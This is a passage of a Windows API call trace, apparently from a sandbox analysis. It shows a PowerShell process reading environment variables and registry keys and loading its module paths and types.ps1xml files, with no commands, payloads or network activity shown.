0x1b3ea0 [0082.076] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b3ea0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0082.076] CoTaskMemFree (pv=0x1b3ea0) [0082.076] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d728 | out: phkResult=0x24d728*=0x324) returned 0x0 [0082.076] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x24d6ac, lpData=0x0, lpcbData=0x24d6a8*=0x0 | out: lpType=0x24d6ac*=0x0, lpData=0x0, lpcbData=0x24d6a8*=0x0) returned 0x2 [0082.077] RegCloseKey (hKey=0x324) returned 0x0 [0082.097] CoTaskMemAlloc (cb=0x20c) returned 0x1b74f760 [0082.097] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b74f760 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0082.098] CoTaskMemFree (pv=0x1b74f760) [0082.098] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x24d2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0082.098] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0082.111] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0082.111] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.112] CoTaskMemFree (pv=0x1b75b370) [0082.114] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0082.114] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.114] CoTaskMemFree (pv=0x1b75b370) [0082.124] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0082.125] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.126] CoTaskMemFree (pv=0x1b75b370) [0082.126] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0082.126] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.126] CoTaskMemFree (pv=0x1b75b370) [0082.130] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d518 | out: phkResult=0x24d518*=0x32c) returned 0x0 [0082.133] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0x24d52c, lpData=0x0, lpcbData=0x24d528*=0x0 | out: lpType=0x24d52c*=0x1, lpData=0x0, lpcbData=0x24d528*=0x74) returned 0x0 [0082.134] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0x24d49c, lpData=0x0, lpcbData=0x24d498*=0x0 | out: lpType=0x24d49c*=0x1, lpData=0x0, lpcbData=0x24d498*=0x74) returned 0x0 [0082.134] CoTaskMemAlloc (cb=0x78) returned 0x1521d0 [0082.134] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0x24d46c, lpData=0x1521d0, lpcbData=0x24d468*=0x74 | out: lpType=0x24d46c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x24d468*=0x74) returned 0x0 [0082.134] CoTaskMemFree (pv=0x1521d0) [0082.134] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x24d1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0082.134] SetErrorMode (uMode=0x1) returned 0x1 [0082.134] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x24d3f0 | out: lpFileInformation=0x24d3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0082.134] SetErrorMode (uMode=0x1) returned 0x1 [0082.137] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0082.137] SetErrorMode (uMode=0x1) returned 0x1 [0082.137] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d3f0 | out: lpFileInformation=0x24d3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0082.138] SetErrorMode (uMode=0x1) returned 0x1 [0082.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0082.144] SetErrorMode (uMode=0x1) returned 0x1 [0082.144] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d3f0 | out: lpFileInformation=0x24d3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0082.145] SetErrorMode (uMode=0x1) returned 0x1 [0082.148] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0082.148] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.148] CoTaskMemFree (pv=0x1b75b370) [0082.158] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0082.158] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.158] CoTaskMemFree (pv=0x1b75b370) [0082.159] GetACP () returned 0x4e4 [0082.182] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0082.182] SetErrorMode (uMode=0x1) returned 0x1 [0082.183] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x330 [0082.184] GetFileType (hFile=0x330) returned 0x1 [0082.185] SetErrorMode (uMode=0x1) returned 0x1 [0082.185] GetFileType (hFile=0x330) returned 0x1 [0082.186] ReadFile (in: hFile=0x330, lpBuffer=0x2db9490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2db9490*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.192] ReadFile (in: hFile=0x330, lpBuffer=0x2db9490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2db9490*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.192] ReadFile (in: hFile=0x330, lpBuffer=0x2db9490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2db9490*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.192] ReadFile (in: hFile=0x330, lpBuffer=0x2db9490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2db9490*, lpNumberOfBytesRead=0x24d328*=0xcf3, lpOverlapped=0x0) returned 1 [0082.193] ReadFile (in: hFile=0x330, lpBuffer=0x2db88eb, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2db88eb*, lpNumberOfBytesRead=0x24d328*=0x0, lpOverlapped=0x0) returned 1 [0082.193] ReadFile (in: hFile=0x330, lpBuffer=0x2db9490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2db9490*, lpNumberOfBytesRead=0x24d328*=0x0, lpOverlapped=0x0) returned 1 [0082.195] CloseHandle (hObject=0x330) returned 1 [0082.199] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0082.200] SetErrorMode (uMode=0x1) returned 0x1 [0082.201] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d2a0 | out: lpFileInformation=0x24d2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0082.201] SetErrorMode (uMode=0x1) returned 0x1 [0082.205] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24cfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0082.205] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d388 | out: phkResult=0x24d388*=0x330) returned 0x0 [0082.205] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d30c, lpData=0x0, lpcbData=0x24d308*=0x0 | out: lpType=0x24d30c*=0x1, lpData=0x0, lpcbData=0x24d308*=0x56) returned 0x0 [0082.205] CoTaskMemAlloc (cb=0x5a) returned 0x1b759550 [0082.205] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d2dc, lpData=0x1b759550, lpcbData=0x24d2d8*=0x56 | out: lpType=0x24d2dc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d2d8*=0x56) returned 0x0 [0082.205] CoTaskMemFree (pv=0x1b759550) [0082.205] RegCloseKey (hKey=0x330) returned 0x0 [0082.205] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24cfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0082.205] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0082.284] GetSystemInfo (in: lpSystemInfo=0x24bfc0 | out: lpSystemInfo=0x24bfc0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0082.285] VirtualQuery (in: lpAddress=0x24c070, lpBuffer=0x24cf30, dwLength=0x30 | out: lpBuffer=0x24cf30*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0082.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x24cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0082.309] SetErrorMode (uMode=0x1) returned 0x1 [0082.309] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x330 [0082.309] GetFileType (hFile=0x330) returned 0x1 [0082.309] SetErrorMode (uMode=0x1) returned 0x1 [0082.309] GetFileType (hFile=0x330) returned 0x1 [0082.309] ReadFile (in: hFile=0x330, lpBuffer=0x2e20650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2e20650*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.312] ReadFile (in: hFile=0x330, lpBuffer=0x2e20650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2e20650*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.313] ReadFile (in: hFile=0x330, lpBuffer=0x2e20650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2e20650*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.313] ReadFile (in: hFile=0x330, lpBuffer=0x2e20650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2e20650*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.314] ReadFile (in: hFile=0x330, lpBuffer=0x2e20650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2e20650*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.347] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.347] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.348] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.348] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.348] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.349] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.349] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.349] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.349] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.350] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.350] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.350] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.351] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.351] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.352] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.352] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.352] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.352] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.352] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.353] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.353] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.353] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.353] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.353] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.354] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.354] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.354] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.354] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.357] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.358] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.358] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.358] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.368] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.368] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.369] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.369] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1000, lpOverlapped=0x0) returned 1 [0082.369] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x1b4, lpOverlapped=0x0) returned 1 [0082.369] ReadFile (in: hFile=0x330, lpBuffer=0x2c8f250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d328, lpOverlapped=0x0 | out: lpBuffer=0x2c8f250*, lpNumberOfBytesRead=0x24d328*=0x0, lpOverlapped=0x0) returned 1 [0082.369] CloseHandle (hObject=0x330) returned 1 [0082.370] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0082.370] SetErrorMode (uMode=0x1) returned 0x1 [0082.370] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d2a0 | out: lpFileInformation=0x24d2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0082.370] SetErrorMode (uMode=0x1) returned 0x1 [0082.370] GetFullPathNameW (in: 